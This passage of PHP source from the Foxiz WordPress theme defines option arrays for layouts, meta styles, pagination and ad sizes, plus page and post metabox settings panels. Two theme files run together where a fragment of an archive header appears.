'bg-3' => esc_html__( 'Background 3', 'foxiz' ), 'bg-3,big' => esc_html__( 'Background 3 (Big)', 'foxiz' ), 'bg-4' => esc_html__( 'Background 4', 'foxiz' ), 'bg-4,big' => esc_html__( 'Background 4 (Big)', 'foxiz' ), 'text' => esc_html__( 'Only Text', 'foxiz' ), 'text,big' => esc_html__( 'Only Text (Big)', 'foxiz' ), 'border' => esc_html__( 'Border', 'foxiz' ), 'border,big' => esc_html__( 'Border (Big)', 'foxiz' ), 'b-dotted' => esc_html__( 'Bottom Dotted', 'foxiz' ), 'b-dotted,big' => esc_html__( 'Bottom Dotted (Big)', 'foxiz' ), 'b-border' => esc_html__( 'Bottom Border', 'foxiz' ), 'b-border,big' => esc_html__( 'Bottom Border (Big)', 'foxiz' ), 'l-dot' => esc_html__( 'Left Dot', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ); if ( ! $default ) { unset( $settings[0] ); unset( $settings['-1'] ); $settings['0'] = esc_html__( 'Disable', 'foxiz' ); } return $settings; } } if ( ! function_exists( 'foxiz_config_entry_meta_bar' ) ) { /** * @return array */ function foxiz_config_entry_meta_bar() { return array( '0' => esc_html__( '- Default -', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), 'custom' => esc_html__( 'Use Custom', 'foxiz' ) ); } } if ( ! function_exists( 'foxiz_config_entry_format' ) ) { /** * @param false $default * * @return array */ function foxiz_config_entry_format( $default = false ) { $settings = array( '0' => esc_html__( '- Default -', 'foxiz' ), 'bottom' => esc_html__( 'Bottom Right', 'foxiz' ), 'bottom,big' => esc_html__( 'Bottom Right (Big Icon)', 'foxiz' ), 'top' => esc_html__( 'Top', 'foxiz' ), 'top,big' => esc_html__( 'Top (Big Icon)', 'foxiz' ), 'after-category' => esc_html__( 'After Entry Category', 'foxiz' ), 'center' => esc_html__( 'Center', 'foxiz' ), 'center,big' => esc_html__( 'Center (Big Icon)', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ); if ( ! $default ) { unset( $settings['0'] ); unset( $settings['-1'] ); $settings['0'] = esc_html__( 'Disable', 'foxiz' ); } return $settings; } } if ( ! function_exists( 'foxiz_config_entry_meta_tags' ) ) { /** * @return array */ function foxiz_config_entry_meta_tags() { return array( 'avatar' => esc_html__( 'avatar (Avatar)', 'foxiz' ), 'author' => esc_html__( 'author (Author)', 'foxiz' ), 'date' => esc_html__( 'date (Publish Date)', 'foxiz' ), 'category' => esc_html__( 'category (Categories)', 'foxiz' ), 'tag' => esc_html__( 'tag (Tags)', 'foxiz' ), 'view' => esc_html__( 'view (Post Views)', 'foxiz' ), 'comment' => esc_html__( 'comment (Comments)', 'foxiz' ), 'update' => esc_html__( 'update (Last Updated)', 'foxiz' ), 'read' => esc_html__( 'read (Reading Time)', 'foxiz' ), 'custom' => esc_html__( 'custom (Custom)', 'foxiz' ) ); } } if ( ! function_exists( 'foxiz_config_entry_review' ) ) { /** * @param false $default * * @return array */ function foxiz_config_entry_review( $default = false ) { $settings = array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), 'replace' => esc_html__( 'Replace for Entry Meta', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ); if ( ! $default ) { unset( $settings['0'] ); unset( $settings['-1'] ); $settings['0'] = esc_html__( 'Disable', 'foxiz' ); } return $settings; } } /** blog & archive configs */ if ( ! function_exists( 'foxiz_config_blog_layout' ) ) { function foxiz_config_blog_layout() { return array( 'classic_1' => array( 'img' => foxiz_get_asset_image( 'classic-1.jpg' ), 'title' => esc_html__( 'Classic (Standard)', 'foxiz' ) ), 'grid_1' => array( 'img' => foxiz_get_asset_image( 'grid-1.jpg' ), 'title' => esc_html__( 'Grid 1 (Standard)', 'foxiz' ) ), 'grid_2' => array( 'img' => foxiz_get_asset_image( 'grid-1.jpg' ), 'title' => esc_html__( 'Grid 2', 'foxiz' ) ), 'grid_box_1' => array( 'img' => foxiz_get_asset_image( 'grid-box-1.jpg' ), 'title' => esc_html__( 'Boxed Grid 1', 'foxiz' ) ), 'grid_box_2' => array( 'img' => foxiz_get_asset_image( 'grid-box-2.jpg' ), 'title' => esc_html__( 'Boxed Grid 2', 'foxiz' ) ), 'grid_small_1' => array( 'img' => foxiz_get_asset_image( 'grid-small-1.jpg' ), 'title' => esc_html__( 'Small Grid', 'foxiz' ) ), 'list_1' => array( 'img' => foxiz_get_asset_image( 'list-1.jpg' ), 'title' => esc_html__( 'List 1 (Standard)', 'foxiz' ) ), 'list_2' => array( 'img' => foxiz_get_asset_image( 'list-2.jpg' ), 'title' => esc_html__( 'List 2', 'foxiz' ) ), 'list_box_1' => array( 'img' => foxiz_get_asset_image( 'list-box-1.jpg' ), 'title' => esc_html__( 'Boxed List 1', 'foxiz' ) ), 'list_box_2' => array( 'img' => foxiz_get_asset_image( 'list-box-2.jpg' ), 'title' => esc_html__( 'Boxed List 2', 'foxiz' ) ), ); } } if ( ! function_exists( 'foxiz_config_blog_columns' ) ) { /** * @param array $configs * * @return array */ function foxiz_config_blog_columns( $configs = array() ) { $settings = array(); $default = array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( '1 Column', 'foxiz' ), '2' => esc_html__( '2 Columns', 'foxiz' ), '3' => esc_html__( '3 Columns', 'foxiz' ), '4' => esc_html__( '4 Columns', 'foxiz' ), '5' => esc_html__( '5 Columns', 'foxiz' ), '6' => esc_html__( '6 Columns', 'foxiz' ), '7' => esc_html__( '7 Columns', 'foxiz' ), ); if ( ! is_array( $configs ) || ! count( $configs ) ) { return $default; } foreach ( $configs as $item ) { $settings[ $item ] = $default[ $item ]; } return $settings; } } if ( ! function_exists( 'foxiz_config_blog_column_gap' ) ) { function foxiz_config_blog_column_gap() { return array( '0' => esc_html__( '- Default -', 'foxiz' ), 'none' => esc_html__( 'No Gap', 'foxiz' ), '5' => esc_html__( '10px', 'foxiz' ), '7' => esc_html__( '14px', 'foxiz' ), '10' => esc_html__( '20px', 'foxiz' ), '15' => esc_html__( '30px', 'foxiz' ), '20' => esc_html__( '40px', 'foxiz' ), '25' => esc_html__( '50px', 'foxiz' ), '30' => esc_html__( '60px', 'foxiz' ), '35' => esc_html__( '70px', 'foxiz' ) ); } } if ( ! function_exists( 'foxiz_config_category_sidebar_position' ) ) { function foxiz_config_category_sidebar_position() { return array( '0' => esc_html__( '- Default -', 'foxiz' ), 'none' => esc_html__( 'No Sidebar', 'foxiz' ), 'left' => esc_html__( 'Left', 'foxiz' ), 'right' => esc_html__( 'Right', 'foxiz' ) ); } } if ( ! function_exists( 'foxiz_config_blog_pagination' ) ) { /** * @param false $default * * @return array */ function foxiz_config_blog_pagination( $default = false ) { $settings = array( '0' => esc_html__( '- Default -', 'foxiz' ), 'number' => esc_html__( 'Numeric', 'foxiz' ), 'simple' => esc_html__( 'Simple', 'foxiz' ), 'load_more' => esc_html__( 'Load More (Ajax)', 'foxiz' ), 'infinite_scroll' => esc_html__( 'Infinite Scroll (Ajax)', 'foxiz' ), ); if ( ! $default ) { unset( $settings['0'] ); } return $settings; } } if ( ! function_exists( 'foxiz_config_category_header' ) ) { /** * @param false $default * * @return array */ function foxiz_config_category_header( $default = false ) { $settings = array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Style 1 (Right Featured Image)', 'foxiz' ), '2' => esc_html__( 'Style 2 (Background Image)', 'foxiz' ), '3' => esc_html__( 'Style 3 (Minimalist)', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ); if ( ! $default ) { unset( $settings['0'] ); } return $settings; } } if ( ! function_exists( 'foxiz_config_archive_header_bg' ) ) { /** * @param false $default * * @return array|string[] */ function foxiz_config_archive_header_bg( $default = false ) { $settings = array( '0' => esc_html__( '- Default -', 'foxiz' ), 'dot' => esc_html__( 'Pattern Dotted', 'foxiz' ), 'dot2' => esc_html__( 'Pattern Dotted 2', 'foxiz' ), 'diagonal' => esc_html__( 'Pattern Diagonal', 'foxiz' ), 'diagonal2' => esc_html__( 'Pattern Diagonal 2', 'foxiz' ), '-1' => esc_html__( 'Solid Light Gray', 'foxiz' ) ); if ( ! $default ) { unset( $settings[0] ); } return $settings; } } /** single post configs */ if ( ! function_exists( 'foxiz_config_single_standard_layouts' ) ) { /** * @param bool $default * * @return array */ function foxiz_config_single_standard_layouts( $default = true ) { $settings = array( 'default' => array( 'img' => foxiz_get_asset_image( 'default.png' ), 'title' => esc_html__( '- Default -', 'foxiz' ) ), 'standard_1' => array( 'img' => foxiz_get_asset_image( 'single-1.png' ), 'title' => esc_html__( 'Layout 1', 'foxiz' ) ), 'standard_2' => array( 'img' => foxiz_get_asset_image( 'single-2.png' ), 'title' => esc_html__( 'Layout 2', 'foxiz' ) ), 'standard_3' => array( 'img' => foxiz_get_asset_image( 'single-3.png' ), 'title' => esc_html__( 'Layout 3', 'foxiz' ) ), 'standard_4' => array( 'img' => foxiz_get_asset_image( 'single-4.png' ), 'title' => esc_html__( 'Layout 4', 'foxiz' ) ), 'standard_5' => array( 'img' => foxiz_get_asset_image( 'single-5.png' ), 'title' => esc_html__( 'Layout 5', 'foxiz' ) ), 'standard_6' => array( 'img' => foxiz_get_asset_image( 'single-6.png' ), 'title' => esc_html__( 'Layout 6', 'foxiz' ) ), 'standard_7' => array( 'img' => foxiz_get_asset_image( 'single-7.png' ), 'title' => esc_html__( 'Layout 7', 'foxiz' ) ), 'standard_8' => array( 'img' => foxiz_get_asset_image( 'single-8.png' ), 'title' => esc_html__( 'Layout 8', 'foxiz' ) ), 'standard_9' => array( 'img' => foxiz_get_asset_image( 'single-9.png' ), 'title' => esc_html__( 'No Featured', 'foxiz' ) ) ); if ( ! $default ) { unset( $settings['default'] ); } return $settings; } } if ( ! function_exists( 'foxiz_config_single_video_layouts' ) ) { /** * @param bool $default * * @return array */ function foxiz_config_single_video_layouts( $default = true ) { $settings = array( 'default' => array( 'img' => foxiz_get_asset_image( 'default.png' ), 'title' => esc_html__( '- Default -', 'foxiz' ) ), 'video_1' => array( 'img' => foxiz_get_asset_image( 'single-video-1.png' ), 'title' => esc_html__( 'Layout 1', 'foxiz' ) ), 'video_2' => array( 'img' => foxiz_get_asset_image( 'single-video-2.png' ), 'title' => esc_html__( 'Layout 2', 'foxiz' ) ), 'video_3' => array( 'img' => foxiz_get_asset_image( 'single-video-3.png' ), 'title' => esc_html__( 'Layout 3', 'foxiz' ) ), 'video_4' => array( 'img' => foxiz_get_asset_image( 'single-video-4.png' ), 'title' => esc_html__( 'Layout 4', 'foxiz' ) ) ); if ( ! $default ) { unset( $settings['default'] ); } return $settings; } } if ( ! function_exists( 'foxiz_config_single_audio_layouts' ) ) { /** * @param bool $default * * @return array */ function foxiz_config_single_audio_layouts( $default = true ) { $settings = array( 'default' => array( 'img' => foxiz_get_asset_image( 'default.png' ), 'title' => esc_html__( '- Default -', 'foxiz' ) ), 'audio_1' => array( 'img' => foxiz_get_asset_image( 'single-audio-1.png' ), 'title' => esc_html__( 'Layout 1', 'foxiz' ) ), 'audio_2' => array( 'img' => foxiz_get_asset_image( 'single-audio-2.png' ), 'title' => esc_html__( 'Layout 2', 'foxiz' ) ), 'audio_3' => array( 'img' => foxiz_get_asset_image( 'single-audio-3.png' ), 'title' => esc_html__( 'Layout 3', 'foxiz' ) ), 'audio_4' => array( 'img' => foxiz_get_asset_image( 'single-audio-4.png' ), 'title' => esc_html__( 'Layout 4', 'foxiz' ) ) ); if ( ! $default ) { unset( $settings['default'] ); } return $settings; } } if ( ! function_exists( 'foxiz_config_single_gallery_layouts' ) ) { /** * @param bool $default * * @return array[] */ function foxiz_config_single_gallery_layouts( $default = true ) { $settings = array( 'default' => array( 'img' => foxiz_get_asset_image( 'default.png' ), 'title' => esc_html__( '- Default -', 'foxiz' ) ), 'gallery_1' => array( 'img' => foxiz_get_asset_image( 'single-gallery-1.png' ), 'title' => esc_html__( 'Layout 1', 'foxiz' ) ), 'gallery_2' => array( 'img' => foxiz_get_asset_image( 'single-gallery-2.png' ), 'title' => esc_html__( 'Layout 2', 'foxiz' ) ), 'gallery_3' => array( 'img' => foxiz_get_asset_image( 'single-gallery-3.png' ), 'title' => esc_html__( 'Layout 3', 'foxiz' ) ), ); if ( ! $default ) { unset( $settings['default'] ); } return $settings; } } if ( ! function_exists( 'foxiz_config_crop_size' ) ) { /** * @return array */ function foxiz_config_crop_size() { $sizes = foxiz_calc_crop_sizes(); $settings = array( '0' => esc_html__( '- Default -', 'foxiz' ) ); foreach ( $sizes as $size => $data ) { if ( isset( $data[0] ) && isset( $data[1] ) ) { $settings[ $size ] = $data[0] . 'x' . $data[1]; } } return $settings; } } if ( ! function_exists( 'foxiz_config_featured_position' ) ) { /** * @param false $default * * @return array */ function foxiz_config_featured_position( $default = false ) { $settings = array( '0' => esc_html__( '- Default -', 'foxiz' ), 'left' => esc_html__( 'Left', 'foxiz' ), 'right' => esc_html__( 'Right', 'foxiz' ), ); if ( ! $default ) { unset( $settings['0'] ); } return $settings; } } if ( ! function_exists( 'foxiz_ad_size_dropdown' ) ) { /** * @return array */ function foxiz_ad_size_dropdown() { return array( '1' => esc_html__( 'Leaderboard (728x90)', 'foxiz' ), '2' => esc_html__( 'Banner (468x60)', 'foxiz' ), '3' => esc_html__( 'Half banner (234x60)', 'foxiz' ), '4' => esc_html__( 'Button (125x125)', 'foxiz' ), '5' => esc_html__( 'Skyscraper (120x600)', 'foxiz' ), '6' => esc_html__( 'Wide Skyscraper (160x600)', 'foxiz' ), '7' => esc_html__( 'Small Rectangle (180x150)', 'foxiz' ), '8' => esc_html__( 'Vertical Banner (120 x 240)', 'foxiz' ), '9' => esc_html__( 'Small Square (200x200)', 'foxiz' ), '10' => esc_html__( 'Square (250x250)', 'foxiz' ), '11' => esc_html__( 'Medium Rectangle (300x250)', 'foxiz' ), '12' => esc_html__( 'Large Rectangle (336x280)', 'foxiz' ), '13' => esc_html__( 'Half Page (300x600)', 'foxiz' ), '14' => esc_html__( 'Portrait (300x1050)', 'foxiz' ), '15' => esc_html__( 'Mobile Banner (320x50)', 'foxiz' ), '16' => esc_html__( 'Large Leaderboard (970x90)', 'foxiz' ), '17' => esc_html__( 'Billboard (970x250)', 'foxiz' ), '18' => esc_html__( 'Mobile Banner (320x100)', 'foxiz' ), '19' => esc_html__( 'Mobile Friendly (300x100)', 'foxiz' ), '-1' => esc_html__( 'Hide on Desktop', 'foxiz' ) ); } } if ( ! function_exists( 'foxiz_config_box_style' ) ) { /** * @return array */ function foxiz_config_box_style() { return array( 'bg' => esc_html__( 'Background', 'foxiz' ), 'border' => esc_html__( 'Border', 'foxiz' ), 'shadow' => esc_html__( 'Shadow', 'foxiz' ) ); } } PK!Tɖɖsingle-metaboxes.phpnu[single_post_metaboxes(); $metaboxes[] = $this->page_metaboxes(); return $metaboxes; } public function page_metaboxes() { return array( 'id' => 'foxiz_page_settings', 'title' => esc_html__( 'Single Page Settings', 'foxiz' ), 'desc' => esc_html__( 'Options below will apply to the single page and Elementor page. To config for the blog page, navigate to Theme Options > Blog & Achives.', 'foxiz' ), 'context' => 'normal', 'post_types' => array( 'page' ), 'tabs' => array( array( 'id' => 'section-page-general', 'title' => esc_html__( 'General Settings', 'foxiz' ), 'icon' => 'dashicons-align-full-width', 'fields' => array( array( 'id' => 'page_header_style', 'name' => esc_html__( 'Page Header Style', 'foxiz' ), 'desc' => esc_html__( 'Select a top header style for this page. This option is used for the single page (not Elementor page).', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Style 1', 'foxiz' ), '2' => esc_html__( 'Style 2', 'foxiz' ), '-1' => esc_html__( 'No Header', 'foxiz' ) ), 'default' => 'default' ), array( 'id' => 'width_wo_sb', 'name' => esc_html__( 'Max Width Content without Sidebar', 'foxiz' ), 'desc' => esc_html__( 'Select a max-width for the content area without sidebar.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), 'small' => esc_html__( 'Small - 860px', 'foxiz' ), '-1' => esc_html__( 'Full Width', 'foxiz' ) ), 'default' => 'default' ), ) ), array( 'id' => 'section-sidebar', 'title' => esc_html__( 'Sidebar Area', 'foxiz' ), 'icon' => 'dashicons-align-pull-right', 'fields' => array( array( 'id' => 'sidebar_position', 'name' => esc_html__( 'Sidebar Position', 'foxiz' ), 'desc' => esc_html__( 'Select a position for the sidebar of this page. It will override on the default settings in the Theme Options panel.', 'foxiz' ), 'class' => 'sidebar-select', 'type' => 'image_select', 'options' => foxiz_config_sidebar_position( true, true ), 'default' => 'default' ), array( 'id' => 'sidebar_name', 'name' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'desc' => esc_html__( 'Assign a sidebar for this page. It will override on the default settings in the Theme Options panel.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_sidebar_name(), 'default' => 'default' ), ) ), array( 'id' => 'section-header', 'title' => esc_html__( 'Site Header', 'foxiz' ), 'icon' => 'dashicons-heading', 'desc' => esc_html__( 'The transparent headers is only suitable with the page has a sliders or wide image at the top.', 'foxiz' ), 'fields' => array( array( 'id' => 'header_style', 'name' => esc_html__( 'Site Header', 'foxiz' ), 'desc' => esc_html__( 'Select a site header style for this page', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_header_style( true, true ), 'default' => '0' ), array( 'id' => 'header_template', 'name' => esc_html__( 'Header Template Shortcode', 'foxiz' ), 'desc' => esc_html__( 'Input a Ruby Template shortcode for displaying as the website header for this page. Leave this option blank to set as the above setting.', 'foxiz' ), 'type' => 'textarea', 'default' => '' ), array( 'id' => 'nav_style', 'type' => 'select', 'name' => esc_html__( 'Navigation Bar Style', 'foxiz' ), 'desc' => esc_html__( 'Select navigation bar style for the header of this page.', 'foxiz' ), 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), 'shadow' => esc_html__( 'Shadow', 'foxiz' ), 'border' => esc_html__( 'Bottom Border', 'foxiz' ), 'd-border' => esc_html__( 'Dark Bottom Border', 'foxiz' ), 'none' => esc_html__( 'None', 'foxiz' ) ), 'default' => 'default' ), array( 'id' => 'disable_top_ad', 'name' => esc_html__( 'Top Site Advert', 'foxiz' ), 'desc' => esc_html__( 'Disable the top ad site for this page.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( 'Default', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => 'default' ), array( 'id' => 'alert_bar', 'name' => esc_html__( 'Header Alert Bar', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the alert bar below the header.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( 'Default', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => 'default' ), ) ), array( 'id' => 'section-footer', 'title' => esc_html__( 'Site Footer', 'foxiz' ), 'icon' => 'dashicons-align-full-width', 'fields' => array( array( 'id' => 'footer_template', 'name' => esc_html__( 'Footer Template Shortcode', 'foxiz' ), 'desc' => esc_html__( 'Input a Ruby Template shortcode for displaying as the website footer for this page, Leave blank to set it as the default from the Theme Options panel.', 'foxiz' ), 'type' => 'textarea', 'default' => '' ) ) ) ) ); } public function single_post_metaboxes() { return array( 'id' => 'foxiz_post_options', 'title' => esc_html__( 'Post Options', 'foxiz' ), 'context' => 'normal', 'post_types' => array( 'post' ), 'tabs' => array( array( 'id' => 'section-tagline', 'title' => esc_html__( 'Tagline & Highlights', 'foxiz' ), 'icon' => 'dashicons-edit-large', 'fields' => array( array( 'id' => 'tagline', 'name' => esc_html__( 'Tagline', 'foxiz' ), 'desc' => esc_html__( 'Input a tagline for this post, It will display under the single post title.', 'foxiz' ), 'type' => 'textarea', 'default' => '' ), array( 'id' => 'highlights', 'name' => esc_html__( 'Post highlights', 'foxiz' ), 'desc' => esc_html__( 'Input highlights for this post. This section will appear a the top of content. To edit this section heading, Navigate to Theme Options > Single Post > Tagline & highlights', 'foxiz' ), 'type' => 'group', 'button' => esc_html__( '+Add Highlight', 'foxiz' ), 'fields' => array( array( 'id' => 'point', 'name' => esc_html__( 'Highlight Point', 'foxiz' ), 'default' => '', ), ) ), array( 'id' => 'tagline_tag', 'name' => esc_html__( 'Tagline HTML Tag', 'foxiz' ), 'desc' => esc_html__( 'Select a HTML tag for this tagline.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'h2' => esc_html__( 'H2', 'foxiz' ), 'h3' => esc_html__( 'H3', 'foxiz' ), 'h4' => esc_html__( 'H4', 'foxiz' ), 'h5' => esc_html__( 'H5', 'foxiz' ), 'h6' => esc_html__( 'H6', 'foxiz' ), 'p' => esc_html__( 'p', 'foxiz' ), 'span' => esc_html__( 'span', 'foxiz' ) ), 'default' => '0' ) ) ), array( 'id' => 'section-featured', 'title' => esc_html__( 'Featured Image', 'foxiz' ), 'icon' => 'dashicons-format-image', 'fields' => array( array( 'id' => 'featured_crop_size', 'name' => esc_html__( 'Featured Crop Size', 'foxiz' ), 'desc' => esc_html__( 'Select a crop size for the featured image in case you would like to control the size.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => 'default' ), array( 'id' => 'featured_caption', 'name' => esc_html__( 'Featured Caption', 'foxiz' ), 'desc' => esc_html__( 'Input caption text for the featured image.', 'foxiz' ), 'type' => 'textarea', 'default' => '' ), array( 'id' => 'featured_attribution', 'name' => esc_html__( 'Attribution', 'foxiz' ), 'desc' => esc_html__( 'Input attribution for the featured image.', 'foxiz' ), 'type' => 'text', 'default' => '' ) ) ), array( 'id' => 'section-category', 'title' => esc_html__( 'Primary Category', 'foxiz' ), 'icon' => 'dashicons-admin-network', 'fields' => array( array( 'name' => esc_html__( 'Select Primary Category', 'foxiz' ), 'id' => 'primary_category', 'type' => 'category_select', 'taxonomy' => 'category', 'placeholder' => esc_html__( 'Select a Primary Category for this post.', 'foxiz' ), 'desc' => esc_html__( 'It is useful in case this post has a lot of categories and you want to display only one in listings.', 'foxiz' ), 'default' => '' ), ) ), array( 'id' => 'section-custom-meta', 'title' => esc_html__( 'Custom Entry Meta', 'foxiz' ), 'desc' => esc_html__( 'This option is useful in case you would like to create a custom entry meta.', 'foxiz' ), 'icon' => 'dashicons-plus-alt', 'fields' => array( array( 'id' => 'meta_custom', 'name' => esc_html__( 'Custom Entry Meta', 'foxiz' ), 'desc' => esc_html__( 'Input value or text for the custom meta that you created in Theme Options panel.', 'foxiz' ), 'type' => 'text', 'default' => '' ), ) ), array( 'id' => 'section-standard', 'title' => esc_html__( 'Standard Format', 'foxiz' ), 'icon' => 'dashicons-menu-alt', 'desc' => esc_html__( 'The settings below apply to the standard post format. Using the corresponding panel if you select another post format for this post.', 'foxiz' ), 'fields' => array( array( 'id' => 'layout', 'name' => esc_html__( 'Standard Layout', 'foxiz' ), 'desc' => esc_html__( 'Select a standard layout for this post, It will override on the default settings in the Theme Options panel.', 'foxiz' ), 'type' => 'image_select', 'class' => 'big', 'options' => foxiz_config_single_standard_layouts(), 'default' => 'default' ), ) ), /** post video */ array( 'id' => 'section-video', 'title' => esc_html__( 'Video Format', 'foxiz' ), 'icon' => 'dashicons-format-video', 'desc' => esc_html__( 'Please ensure that the "Video" option is chosen under "Post Format" selection box when you use this panel.', 'foxiz' ), 'fields' => array( array( 'id' => 'video_layout', 'name' => esc_html__( 'Video Layout', 'foxiz' ), 'desc' => esc_html__( 'Select a video layout for this post, It will override on the default settings in the Theme Options panel.', 'foxiz' ), 'type' => 'image_select', 'class' => 'big', 'options' => foxiz_config_single_video_layouts(), 'default' => 'default' ), array( 'id' => 'video_url', 'name' => esc_html__( 'Video URL', 'foxiz' ), 'desc' => esc_html__( 'Input your video link, support: Youtube, Vimeo, DailyMotion.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => 'video_preview', 'name' => esc_html__( 'Preview Video', 'foxiz' ), 'desc' => esc_html__( 'Upload your preview video. Keep video short and lightweight as possible to save server bandwidth.', 'foxiz' ), 'type' => 'file' ), array( 'id' => 'video_embed', 'name' => esc_html__( 'Iframe Embed Code', 'foxiz' ), 'desc' => esc_html__( 'Input iframe embed code if WordPress cannot support your video URL.', 'foxiz' ), 'type' => 'textarea' ), array( 'id' => 'video_hosted', 'name' => esc_html__( 'Self-Hosted Video', 'foxiz' ), 'desc' => esc_html__( 'Upload your video file, support: mp4, m4v, webm, ogv, wmv, flv files.', 'foxiz' ), 'type' => 'file' ), array( 'id' => 'video_autoplay', 'name' => esc_html__( 'Autoplay Video', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable autoplay video for this post.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => 'default' ), ) ), /** post audio */ array( 'id' => 'section-audio', 'title' => esc_html__( 'Audio Format', 'foxiz' ), 'icon' => 'dashicons-format-audio', 'desc' => esc_html__( 'Please ensure that the "Audio" option is chosen under "Post Format" selection box when you use this panel.', 'foxiz' ), 'fields' => array( array( 'id' => 'audio_layout', 'name' => esc_html__( 'Audio Layout', 'foxiz' ), 'desc' => esc_html__( 'Select a audio layout for this post, It will override on the default settings in the Theme Options panel.', 'foxiz' ), 'type' => 'image_select', 'class' => 'big', 'options' => foxiz_config_single_audio_layouts(), 'default' => 'default' ), array( 'id' => 'audio_url', 'name' => esc_html__( 'Audio URL', 'foxiz' ), 'desc' => esc_html__( 'Input your audio URL, support: SoundCloud, MixCloud. Do not forget to check "Audio" in Post Format section.', 'foxiz' ), 'type' => 'text' ), array( 'id' => 'audio_embed', 'name' => esc_html__( 'Iframe Embed Code', 'foxiz' ), 'desc' => esc_html__( 'Input iframe embed code if WordPress cannot support your audio URL.', 'foxiz' ), 'type' => 'textarea' ), array( 'id' => 'audio_hosted', 'name' => esc_html__( 'Self-Hosted Audio', 'foxiz' ), 'desc' => esc_html__( 'Upload your audio file, support: mp3, ogg, wma, m4a, wav files.', 'foxiz' ), 'type' => 'file' ), array( 'id' => 'audio_autoplay', 'name' => esc_html__( 'Autoplay Audio', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable autoplay audio for this post.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => 'default' ), ) ), array( 'id' => 'section-gallery', 'title' => esc_html__( 'Gallery Format', 'foxiz' ), 'icon' => 'dashicons-format-gallery', 'desc' => esc_html__( 'Please ensure that the "Gallery" option is chosen under "Post Format" selection box when you use this panel.', 'foxiz' ), 'fields' => array( array( 'id' => 'gallery_layout', 'name' => esc_html__( 'Gallery Layout', 'foxiz' ), 'desc' => esc_html__( 'Select a gallery layout for this post, It will override on the default settings in the Theme Options panel.', 'foxiz' ), 'type' => 'image_select', 'class' => 'big', 'options' => foxiz_config_single_gallery_layouts(), 'default' => 'default' ), array( 'id' => 'gallery_data', 'name' => esc_html__( 'Upload Gallery', 'foxiz' ), 'desc' => esc_html__( 'Upload your images for this gallery.', 'foxiz' ), 'type' => 'images', 'default' => '' ), ) ), array( 'id' => 'section-sidebar', 'title' => esc_html__( 'Sidebar Area', 'foxiz' ), 'icon' => 'dashicons-align-pull-right', 'fields' => array( array( 'id' => 'sidebar_position', 'name' => esc_html__( 'Sidebar Position', 'foxiz' ), 'desc' => esc_html__( 'Select a position for the sidebar of this post. It will override on the default settings in the Theme Options panel.', 'foxiz' ), 'class' => 'sidebar-select', 'type' => 'image_select', 'options' => foxiz_config_sidebar_position(), 'default' => 'default' ), array( 'id' => 'sidebar_name', 'name' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'desc' => esc_html__( 'Assign a sidebar for this post. It will override on the default settings in the Theme Options panel.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_sidebar_name(), 'default' => 'default' ), ) ), array( 'id' => 'section-review', 'title' => esc_html__( 'Review', 'foxiz' ), 'icon' => 'dashicons-star-filled', 'fields' => array( array( 'id' => 'review', 'name' => esc_html__( 'Post Review', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable the review feature for this post.', 'foxiz' ), 'type' => 'select', 'class' => 'ruby-review-checkbox', 'options' => array( '-1' => esc_html__( '-- Disable --', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ) ), 'default' => '-1' ), array( 'id' => 'user_can_review', 'name' => esc_html__( 'User Rating in Comments', 'foxiz' ), 'desc' => esc_html__( 'Enable or disable visitors can rate and review this post in the comment box.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), '1' => esc_html__( 'Enable with Review', 'foxiz' ), '2' => esc_html__( 'Force Enable for This Post', 'foxiz' ), ), 'default' => 'default' ), array( 'id' => 'review_title', 'name' => esc_html__( 'Review Title', 'foxiz' ), 'desc' => esc_html__( 'Input a title for this review section.', 'foxiz' ), 'type' => 'text', 'default' => esc_html__( 'Review Overview', 'foxiz' ) ), array( 'id' => 'review_type', 'name' => esc_html__( 'Review Type', 'foxiz' ), 'desc' => esc_html__( 'Select a type of review for this post.', 'foxiz' ), 'type' => 'select', 'options' => array( 'default' => esc_html__( '- Default -', 'foxiz' ), 'star' => esc_html__( 'Stars (1 > 5)', 'foxiz' ), 'score' => esc_html__( 'Score (1 > 10)', 'foxiz' ), ), 'default' => 'default' ), array( 'id' => 'review_criteria', 'name' => esc_html__( 'Add Criteria', 'foxiz' ), 'desc' => 